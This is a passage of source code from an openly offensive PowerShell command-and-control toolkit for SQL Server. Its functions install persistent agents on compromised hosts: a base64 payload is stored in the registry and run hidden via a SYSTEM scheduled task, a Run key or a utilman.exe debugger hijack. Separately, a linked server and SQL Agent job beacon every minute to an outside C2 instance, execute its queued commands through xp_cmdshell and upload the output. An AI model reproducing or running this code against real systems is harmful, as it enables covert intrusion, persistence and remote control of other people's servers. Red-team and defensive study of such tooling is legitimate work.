them. By default is execute OS command using xp_cmdshell. 753 | This requires sysadmin privileges on the target server. 754 | .PARAMETER Instance 755 | C2 SQL Server instance to connection to. 756 | .PARAMETER Username 757 | C2 SQL Server or domain account to authenticate with. 758 | .PARAMETER Password 759 | C2 SQL Server or domain account password to authenticate with. 760 | .PARAMETER DatabaseName 761 | Database name that contains target table on C2. 762 | .PARAMETER Type 763 | Type of persistence method to use. 764 | .EXAMPLE 765 | Connecting using current Windows credentials. 766 | PS C:\> Install-SQLC2AgentPs -Verbose -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1 767 | .EXAMPLE 768 | Connecting using current Windows credentials. 769 | PS C:\> Install-SQLC2AgentPs -Verbose -Type Task -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1 770 | #> 771 | [CmdletBinding()] 772 | Param( 773 | 774 | [Parameter(Mandatory = $true, 775 | ValueFromPipelineByPropertyName = $true, 776 | HelpMessage = 'C2 SQL Server instance to connection to.')] 777 | [string]$Instance, 778 | 779 | [Parameter(Mandatory = $true, 780 | HelpMessage = 'C2 SQL Server or domain account to authenticate with.')] 781 | [string]$Username, 782 | 783 | [Parameter(Mandatory = $true, 784 | HelpMessage = 'C2 SQL Server or domain account password to authenticate with.')] 785 | [string]$Password, 786 | 787 | [Parameter(Mandatory = $true, 788 | ValueFromPipeline = $true, 789 | ValueFromPipelineByPropertyName = $true, 790 | HelpMessage = 'Database containing target C2 table on C2 SQL Server.')] 791 | [string]$Database, 792 | 793 | [Parameter(Mandatory = $false, 794 | ValueFromPipeline = $true, 795 | ValueFromPipelineByPropertyName = $true, 796 | HelpMessage = 'Type of persistence method to use.')] 797 | [ValidateSet("Task","RegRun","RegUtilman")] 798 | [string]$Type = "Task", 799 | 800 | [Parameter(Mandatory = $false, 801 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 802 | [switch]$SuppressVerbose 803 | ) 804 | 805 | Begin 806 | { 807 | } 808 | 809 | Process 810 | { 811 | # check for admin privs - pending 812 | 813 | # ------------------------------------ 814 | # Gather SQLC2 functions 815 | # ------------------------------------ 816 | Write-Verbose " - Creating SQLC2AgentPS command." 817 | 818 | # Setup script variable 819 | $psscript = "" 820 | 821 | Get-ChildItem -Path Function:\ | 822 | Where-Object name -like "*SQLC2*" | 823 | Where-Object -FilterScript { 824 | $_.name -notlike '*:*' 825 | } | 826 | Select-Object -Property name -ExpandProperty name | 827 | ForEach-Object -Process { 828 | 829 | # Get the function code 830 | $Definition = Get-Content -Path "function:\$_" -ErrorAction Stop 831 | 832 | # $Definition 833 | $CurrentFunction = "Function $_ `n { $Definition }" 834 | 835 | # Add function 836 | $psscript = "$psscript `n $CurrentFunction" 837 | } 838 | 839 | # ------------------------------------ 840 | # Create SQLC2 command and store it 841 | # ------------------------------------ 842 | 843 | # my command 844 | $SQLC2Command = "Get-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Execute" 845 | 846 | # Add custom command 847 | $psscript = "$psscript `n`n $SQLC2Command" 848 | 849 | # Encode command 850 | $psscript64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($psscript)) 851 | 852 | # Write command to the registry and drop IoCs 853 | Write-Verbose " - Attempting to write SQLC2AgentPS payload to registry keys." 854 | if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\") 855 | { 856 | Write-Verbose " - Keys already exist." 857 | }else{ 858 | 859 | # Write keys 860 | try{ 861 | New-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ -Name SQLC2AgentPS –Force | Out-Null 862 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayName -Value "SQLC2AgentPS" –Force | Out-Null 863 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name DisplayIcon -Value "C:\Windows\System32\ComputerDefaults.exe" –Force | Out-Null 864 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Command -Value "$psscript64" –Force -PropertyType MultiString | Out-Null 865 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name Publisher -Value "Bad Person" –Force | Out-Null 866 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallPath -Value "c:\windows\system32\calc.exe" –Force | Out-Null 867 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ -Name UninstallString -Value "c:\windows\system32\calc.exe" –Force | Out-Null 868 | Write-Verbose " - Keys created." 869 | }catch{ 870 | Write-Verbose " - Unable to write SQLC2AgentPS payload to the registry." 871 | return 872 | } 873 | } 874 | 875 | # PowerShell Arguments 876 | $PersistCommand = " -NoProfile -WindowStyle Hidden -C `"IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS' -Name Command).Command)))`"" 877 | 878 | # ------------------------------------ 879 | # Create scheduled task 880 | # ------------------------------------ 881 | if($Type -eq "Task"){ 882 | Write-Verbose " - Attempting to create SQLC2AgentPS scheduled task." 883 | if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 0) 884 | { 885 | try{ 886 | $dt= ([DateTime]::Now) 887 | $timespan = $dt.AddYears(3) -$dt; 888 | $SystemSID = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::LocalSystemSid, $null); 889 | $SystemAccountName = $SystemSID.Translate([System.Security.Principal.NTAccount]).Value.ToString(); 890 | $Action = New-ScheduledTaskAction –Execute "powershell.exe" -Argument $PersistCommand -WorkingDirectory "C:\windows\system32\WindowsPowerShell\v1.0\" 891 | $Trigger = New-ScheduledTaskTrigger -Once -At 12am -RandomDelay (New-TimeSpan -Minutes 1) -RepetitionDuration $timespan -RepetitionInterval (New-TimeSpan -Minutes 1) 892 | $Principal = New-ScheduledTaskPrincipal -UserID $SystemAccountName -LogonType ServiceAccount -RunLevel Highest 893 | $Settings = New-ScheduledTaskSettingsSet 894 | $Object = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings 895 | Register-ScheduledTask "SQLC2AgentPS" -InputObject $Object | Out-Null 896 | Write-Verbose " - Task created." 897 | }catch{ 898 | Write-Verbose " - Failed to create SQLC2AgentPS scheduled task." 899 | } 900 | }else{ 901 | Write-Verbose " - Task already exists." 902 | } 903 | } 904 | 905 | <# 906 | # ------------------------------------ 907 | # Create WMI Subscription - pending updates 908 | # ------------------------------------ 909 | # “SELECT * FROM __InstanceModificationEvent Where TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second=5” 910 | Write-Verbose " - Attempting to create SQLC2AgentPS WMI subscription." 911 | 912 | # Create filter (trigger) 913 | $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ 914 | EventNamespace = "root\cimv2" 915 | Name = "SQLC2AgentPS_Filter" 916 | Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'" 917 | QueryLanguage = "WQL" 918 | } 919 | 920 | # Create consumer (the command to run) 921 | $Command = "PowerShell.exe $PersistCommand" 922 | $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ 923 | Name = "SQLC2AgentPS_Consumer" 924 | CommandLineTemplate = $Command 925 | } 926 | 927 | # Create binding (connecting the trigger and command to run) 928 | Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ 929 | Name = "SQLC2AgentPS_Binding" 930 | Filter = $Filter 931 | Consumer = $Consumer 932 | } 933 | #> 934 | 935 | # ------------------------------------ 936 | # Create registry run 937 | # ------------------------------------ 938 | if($Type -eq "RegRun"){ 939 | Write-Verbose " - Attempting to create SQLC2AgentPS registry run key." 940 | $Command = "PowerShell.exe $PersistCommand" 941 | 942 | # Check if property exists 943 | try{ 944 | Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null 945 | Write-Verbose " - Key already exists." 946 | $RunCheck = 1 947 | }catch{ 948 | $RunCheck = 0 949 | } 950 | 951 | # Add property 952 | if ($RunCheck -eq 0){ 953 | 954 | try{ 955 | New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -Value "$Command" –Force | Out-Null 956 | Write-Verbose " - Key created." 957 | }catch{ 958 | Write-Verbose " - Failed to create registry run key." 959 | } 960 | } 961 | } 962 | 963 | # ------------------------------------ 964 | # Create registry utilman.exe debugger 965 | # ------------------------------------ 966 | if($Type -eq "RegUtilman"){ 967 | Write-Verbose " - Attempting to create SQLC2AgentPS registry key for utilman.exe debugger." 968 | $Command = "PowerShell.exe $PersistCommand" 969 | if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\") 970 | { 971 | Write-Verbose " - Key already exists." 972 | }else{ 973 | 974 | # Write the key 975 | try{ 976 | New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" -Name UtilMan.exe –Force | Out-Null 977 | New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UtilMan.exe" -Name Debugger -Value "$Command" –Force | Out-Null 978 | Write-Verbose " - Key created." 979 | }catch{ 980 | Write-Verbose " - Failed to create registry key for utilman.exe debugger." 981 | } 982 | } 983 | } 984 | } 985 | 986 | End 987 | { 988 | } 989 | } 990 | 991 | 992 | # ---------------------------------- 993 | # Install-SQLC2AgentLink 994 | # ---------------------------------- 995 | # Author: Scott Sutherland 996 | # Todo: Fix handling of multi-line command output. 997 | Function Install-SQLC2AgentLink 998 | { 999 | <# 1000 | .SYNOPSIS 1001 | This functions installs a C2 Agent on the target SQL Server by creating a server link 1002 | to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download 1003 | commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell. 1004 | This requires sysadmin privileges on the target server. 1005 | .PARAMETER Username 1006 | SQL Server or domain account to authenticate with. 1007 | .PARAMETER Password 1008 | SQL Server or domain account password to authenticate with. 1009 | .PARAMETER Instance 1010 | SQL Server instance to connection to. 1011 | .PARAMETER C2Username 1012 | SQL Server or domain account to authenticate with. 1013 | .PARAMETER C2Password 1014 | SQL Server or domain account password to authenticate with. 1015 | .PARAMETER C2Instance 1016 | SQL Server C2 instance to connection to. 1017 | .PARAMETER C2DatabaseName 1018 | Database name that contains target table on C2. 1019 | .EXAMPLE 1020 | Connecting using current Windows credentials. 1021 | PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 1022 | .EXAMPLE 1023 | Connecting using sa SQL server login. 1024 | PS C:\> Install-SQLC2AgentLink -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Pasword password! -C2Instance cloudserver1.database.windows.net -C2Username user -C2Password password -C2Database database1 1025 | #> 1026 | [CmdletBinding()] 1027 | Param( 1028 | [Parameter(Mandatory = $false, 1029 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 1030 | [string]$Username, 1031 | 1032 | [Parameter(Mandatory = $false, 1033 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 1034 | [string]$Password, 1035 | 1036 | [Parameter(Mandatory = $false, 1037 | HelpMessage = 'Windows credentials.')] 1038 | [System.Management.Automation.PSCredential] 1039 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 1040 | 1041 | [Parameter(Mandatory = $false, 1042 | ValueFromPipelineByPropertyName = $true, 1043 | HelpMessage = 'SQL Server instance to connection to.')] 1044 | [string]$Instance, 1045 | 1046 | [Parameter(Mandatory = $false, 1047 | ValueFromPipelineByPropertyName = $true, 1048 | HelpMessage = 'C2 SQL Server instance to connection to.')] 1049 | [string]$C2Instance, 1050 | 1051 | [Parameter(Mandatory = $false, 1052 | HelpMessage = 'SQL Server login or domain account to the authenticate to the C2 SQL Server with.')] 1053 | [string]$C2Username, 1054 | 1055 | [Parameter(Mandatory = $false, 1056 | HelpMessage = 'SQL Server login domain account password to authenticate to the C2 SQL Server with.')] 1057 | [string]$C2Password, 1058 | 1059 | [Parameter(Mandatory = $false, 1060 | ValueFromPipeline = $true, 1061 | ValueFromPipelineByPropertyName = $true, 1062 | HelpMessage = 'Database containing target C2 table on C2 SQL Server.')] 1063 | [string]$C2Database, 1064 | 1065 | [Parameter(Mandatory = $false, 1066 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 1067 | [switch]$SuppressVerbose 1068 | ) 1069 | 1070 | Begin 1071 | { 1072 | # Create data tables for output 1073 | $TblResults = New-Object -TypeName System.Data.DataTable 1074 | } 1075 | 1076 | Process 1077 | { 1078 | # Parse computer name from the instance 1079 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 1080 | 1081 | # Default connection to local default instance 1082 | if(-not $Instance) 1083 | { 1084 | $Instance = $env:COMPUTERNAME 1085 | } 1086 | 1087 | # Test connection to instance 1088 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 1089 | $_.Status -eq 'Accessible' 1090 | } 1091 | 1092 | # Test connection 1093 | if($TestConnection) 1094 | { 1095 | if( -not $SuppressVerbose) 1096 | { 1097 | Write-Verbose -Message "$Instance : Connection Success." 1098 | } 1099 | } 1100 | else 1101 | { 1102 | if( -not $SuppressVerbose) 1103 | { 1104 | Write-Verbose -Message "$Instance : Connection Failed." 1105 | } 1106 | return 1107 | } 1108 | 1109 | # ---------------------------- 1110 | # Create SQL Server link 1111 | # ---------------------------- 1112 | 1113 | # Generate random name for server link - needs to be random 1114 | $RandomLink = "SQLC2Server" 1115 | 1116 | # Create SQL Server link query 1117 | $Query = " 1118 | -- Create Server Link C2 Server 1119 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 0 1120 | EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLink', 1121 | @srvproduct=N'', 1122 | @provider=N'SQLNCLI', 1123 | @datasrc=N'$C2Instance', 1124 | @catalog=N'$C2Database' 1125 | 1126 | -- Associate credentials with the server link 1127 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 1128 | EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink', 1129 | @useself=N'False', 1130 | @locallogin=NULL, 1131 | @rmtuser=N'$C2Username', 1132 | @rmtpassword='$C2Password' 1133 | 1134 | -- Configure the server link 1135 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 1136 | EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'data access', @optvalue=N'true' 1137 | 1138 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 1139 | EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc', @optvalue=N'true' 1140 | 1141 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 1142 | EXEC master.dbo.sp_serveroption @server=N'$RandomLink', @optname=N'rpc out', @optvalue=N'true' 1143 | 1144 | -- Verify addition of link 1145 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1 1146 | SELECT 1 1147 | ELSE 1148 | SELECT 0 1149 | " 1150 | 1151 | # Run Query 1152 | Write-Verbose "$instance : Creating server link named '$RandomLink' as $C2Username to $C2Instance " 1153 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -TimeOut 300 1154 | 1155 | # Verify link addition 1156 | if(($TblResults | Select Column1 -ExpandProperty Column1) -eq 1) 1157 | { 1158 | Write-Verbose "$instance : Confirmed server link named $RandomLink was added." 1159 | }else{ 1160 | Write-Verbose "$instance : The server link could not be created." 1161 | return 1162 | } 1163 | 1164 | # ------------------------------- 1165 | # Create SQL Server Agent Job 1166 | # ------------------------------- 1167 | 1168 | # Generate random name for the SQL Agent Job 1169 | Write-Verbose "$instance : Creating SQL Agent Job on $Instance." 1170 | Write-Verbose "$instance : The agent will beacon to $C2Instance every minute." 1171 | 1172 | # Create SQL Server agent job 1173 | $Query = " 1174 | 1175 | /****** Object: Job [SQLC2 Agent Job] Script Date: 5/21/2018 12:23:40 PM ******/ 1176 | BEGIN TRANSACTION 1177 | DECLARE @ReturnCode INT 1178 | SELECT @ReturnCode = 0 1179 | /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/21/2018 12:23:40 PM ******/ 1180 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) 1181 | BEGIN 1182 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' 1183 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 1184 | 1185 | END 1186 | 1187 | DECLARE @jobId BINARY(16) 1188 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job', 1189 | @enabled=1, 1190 | @notify_level_eventlog=0, 1191 | @notify_level_email=0, 1192 | @notify_level_netsend=0, 1193 | @notify_level_page=0, 1194 | @delete_level=0, 1195 | @description=N'No description available.', 1196 | @category_name=N'[Uncategorized (Local)]', 1197 | @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT 1198 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 1199 | /****** Object: Step [Run command] Script Date: 5/21/2018 12:23:40 PM ******/ 1200 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command', 1201 | @step_id=1, 1202 | @cmdexec_success_code=0, 1203 | @on_success_action=1, 1204 | @on_success_step_id=0, 1205 | @on_fail_action=2, 1206 | @on_fail_step_id=0, 1207 | @retry_attempts=0, 1208 | @retry_interval=0, 1209 | @os_run_priority=0, @subsystem=N'TSQL', 1210 | @command=N' 1211 | 1212 | -- Query server link - Register the agent 1213 | IF not Exists (SELECT * FROM [$RandomLink].$C2Database.dbo.C2Agents WHERE servername = (select @@SERVERNAME)) 1214 | INSERT [$RandomLink].$C2Database.dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'') 1215 | ELSE 1216 | UPDATE [$RandomLink].$C2Database.dbo.C2Agents SET lastcheckin = (select GETDATE ()) 1217 | WHERE servername like (select @@SERVERNAME) 1218 | 1219 | -- Get the pending commands for this server from the C2 SQL Server 1220 | DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000)) 1221 | INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [$RandomLink].$C2Database.dbo.C2Commands WHERE status like ''pending'' and servername like @@servername 1222 | 1223 | -- Run all the command for this server 1224 | WHILE (SELECT count(*) FROM @output) > 0 1225 | BEGIN 1226 | 1227 | -- Setup variables 1228 | DECLARE @CurrentCid varchar (8000) -- current cid 1229 | DECLARE @CurrentCmd varchar (8000) -- current command 1230 | DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table 1231 | DECLARE @result varchar(8000) -- xp_cmdshell output value 1232 | 1233 | -- Get first command in the list - need to add cid 1234 | SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output) 1235 | SELECT @CurrentCid as cid 1236 | SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output) 1237 | SELECT @CurrentCmd as command 1238 | 1239 | -- Run the command - not command output break when multiline - need fix, and add cid 1240 | INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd 1241 | SET @result = (select top 1 result from @xpoutput) 1242 | select @result as result 1243 | 1244 | -- Upload results to C2 SQL Server - need to add cid 1245 | Update [$RandomLink].$C2Database.dbo.C2Commands set result = @result, status=''success'' 1246 | WHERE servername like @@SERVERNAME and cid like @CurrentCid 1247 | 1248 | -- Clear the command result history 1249 | DELETE FROM @xpoutput 1250 | 1251 | -- Remove first command 1252 | DELETE TOP (1) FROM @output 1253 | END', 1254 | @database_name=N'master', 1255 | @flags=0 1256 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 1257 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 1258 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 1259 | EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule', 1260 | @enabled=1, 1261 | @freq_type=4, 1262 | @freq_interval=1, 1263 | @freq_subday_type=4, 1264 | @freq_subday_interval=1, 1265 | @freq_relative_interval=0, 1266 | @freq_recurrence_factor=0, 1267 | @active_start_date=20180521, 1268 | @active_end_date=99991231, 1269 | @active_start_time=0, 1270 | @active_end_time=235959, 1271 | @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88' 1272 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 1273 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' 1274 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback 1275 | COMMIT TRANSACTION 1276 | GOTO EndSave 1277 | QuitWithRollback: 1278 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION 1279 | EndSave: 1280 | 1281 | -- Script: Get-AgentJob.sql 1282 | -- Description: Return a list of agent jobs. 1283 | -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx 1284 | 1285 | SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER], 1286 | job.job_id as [JOB_ID], 1287 | name as [JOB_NAME], 1288 | description as [JOB_DESCRIPTION], 1289 | step_name, 1290 | command, 1291 | enabled, 1292 | server, 1293 | database_name, 1294 | date_created 1295 | FROM [msdb].[dbo].[sysjobs] job 1296 | INNER JOIN [msdb].[dbo].[sysjobsteps] steps 1297 | ON job.job_id = steps.job_id 1298 | WHERE name like 'SQLC2 Agent Job' 1299 | ORDER BY JOB_OWNER,JOB_NAME" 1300 | 1301 | # Run Query 1302 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'msdb' -SuppressVerbose -TimeOut 300 1303 | 1304 | # Verify job was added 1305 | if(($TblResults | Measure-Object | select count -ExpandProperty count) -eq 1) 1306 | { 1307 | Write-Verbose "$instance : Confirmed the job named 'SQLC2 Agent Job' was added." 1308 | }else{ 1309 | Write-Verbose "$instance : The agent job could not be created or already exists." 1310 | Write-Verbose "$instance : You will have to remove the SQL Server link 'SQLC2Server." 1311 | return 1312 | } 1313 | 1314 | Write-Verbose "$instance : Done." 1315 | } 1316 | 1317 | End 1318 | { 1319 | # Return data 1320 | # $TblResults 1321 | } 1322 | } 1323 | 1324 | 1325 | # ---------------------------------- 1326 | # Register-SQLC2Agent 1327 | # ---------------------------------- 1328 | # Author: Scott Sutherland 1329 | Function Register-SQLC2Agent 1330 | { 1331 | <# 1332 | .SYNOPSIS 1333 | This command should be run on the c2 agent system so it can send a keep alive to the server. 1334 | .PARAMETER Username 1335 | SQL Server or domain account to authenticate with. 1336 | .PARAMETER Password 1337 | SQL Server or domain account password to authenticate with. 1338 | .PARAMETER Credential 1339 | SQL Server credential. 1340 | .PARAMETER Instance 1341 | SQL Server instance to connection to. 1342 | .PARAMETER DatabaseName 1343 | Database name that contains target table. 1344 | .PARAMETER Table 1345 | Table name to that contains target column. 1346 | .PARAMETER Column 1347 | Column that contains the TSQL command to run. 1348 | .EXAMPLE 1349 | PS C:\> Register-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 1350 | PS C:\> Register-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 1351 | #> 1352 | [CmdletBinding()] 1353 | Param( 1354 | [Parameter(Mandatory = $false, 1355 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 1356 | [string]$Username, 1357 | 1358 | [Parameter(Mandatory = $false, 1359 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 1360 | [string]$Password, 1361 | 1362 | [Parameter(Mandatory = $false, 1363 | HelpMessage = 'Windows credentials.')] 1364 | [System.Management.Automation.PSCredential] 1365 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 1366 | 1367 | [Parameter(Mandatory = $false, 1368 | ValueFromPipelineByPropertyName = $true, 1369 | HelpMessage = 'SQL Server instance to connection to.')] 1370 | [string]$Instance, 1371 | 1372 | [Parameter(Mandatory = $false, 1373 | ValueFromPipeline = $true, 1374 | ValueFromPipelineByPropertyName = $true, 1375 | HelpMessage = 'Database containing target C2 table.')] 1376 | [string]$Database, 1377 | 1378 | [Parameter(Mandatory = $false, 1379 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 1380 | [switch]$SuppressVerbose 1381 | ) 1382 | 1383 | Begin 1384 | { 1385 | # Create data tables for output 1386 | $TblResults = New-Object -TypeName System.Data.DataTable 1387 | $TblDatabases = New-Object -TypeName System.Data.DataTable 1388 | $null = $TblDatabases.Columns.Add('ServerName') 1389 | $null = $TblDatabases.Columns.Add('Command') 1390 | $null = $TblDatabases.Columns.Add('Status') 1391 | } 1392 | 1393 | Process 1394 | { 1395 | # Parse computer name from the instance 1396 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 1397 | 1398 | # Default connection to local default instance 1399 | if(-not $Instance) 1400 | { 1401 | $Instance = $env:COMPUTERNAME 1402 | } 1403 | 1404 | # Test connection to instance 1405 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 1406 | $_.Status -eq 'Accessible' 1407 | } 1408 | if($TestConnection) 1409 | { 1410 | if( -not $SuppressVerbose) 1411 | { 1412 | Write-Verbose -Message "$Instance : Connection Success." 1413 | } 1414 | } 1415 | else 1416 | { 1417 | if( -not $SuppressVerbose) 1418 | { 1419 | Write-Verbose -Message "$Instance : Connection Failed." 1420 | } 1421 | return 1422 | } 1423 | 1424 | # Setup query to grab commands 1425 | $Query = " 1426 | -- checkin as agent 1427 | IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME') 1428 | INSERT dbo.C2Agents (servername,agentype) VALUES ('$env:COMPUTERNAME','PsProcess') 1429 | ELSE 1430 | UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ()) 1431 | WHERE servername like '$env:COMPUTERNAME'" 1432 | 1433 | # Execute Query 1434 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 1435 | 1436 | Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in." 1437 | } 1438 | 1439 | End 1440 | { 1441 | # Return data 1442 | $TblResults 1443 | } 1444 | } 1445 | 1446 | 1447 | # ---------------------------------- 1448 | # Get-SQLC2Agent 1449 | # ---------------------------------- 1450 | # Author: Scott Sutherland 1451 | Function Get-SQLC2Agent 1452 | { 1453 | <# 1454 | .SYNOPSIS 1455 | This command should be run against the C2 SQLserver and will return a list of agents. 1456 | .PARAMETER Username 1457 | SQL Server or domain account to authenticate with. 1458 | .PARAMETER Password 1459 | SQL Server or domain account password to authenticate with. 1460 | .PARAMETER Credential 1461 | SQL Server credential. 1462 | .PARAMETER Instance 1463 | SQL Server instance to connection to. 1464 | .PARAMETER DatabaseName 1465 | Database name that contains target table. 1466 | .PARAMETER Table 1467 | Table name to that contains target column. 1468 | .PARAMETER Column 1469 | Column that contains the TSQL command to run. 1470 | .EXAMPLE 1471 | PS C:\> Get-SQLC2Agent-Instance "SQLServer1\STANDARDDEV2014" -Database database1 1472 | PS C:\> Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 1473 | #> 1474 | [CmdletBinding()] 1475 | Param( 1476 | [Parameter(Mandatory = $false, 1477 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 1478 | [string]$Username, 1479 | 1480 | [Parameter(Mandatory = $false, 1481 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 1482 | [string]$Password, 1483 | 1484 | [Parameter(Mandatory = $false, 1485 | HelpMessage = 'Windows credentials.')] 1486 | [System.Management.Automation.PSCredential] 1487 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 1488 | 1489 | [Parameter(Mandatory = $false, 1490 | ValueFromPipelineByPropertyName = $true, 1491 | HelpMessage = 'SQL Server instance to connection to.')] 1492 | [string]$Instance, 1493 | 1494 | [Parameter(Mandatory = $false, 1495 | ValueFromPipeline = $true, 1496 | ValueFromPipelineByPropertyName = $true, 1497 | HelpMessage = 'Database containing target C2 table.')] 1498 | [string]$Database, 1499 | 1500 | [Parameter(Mandatory = $false, 1501 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 1502 | [switch]$SuppressVerbose 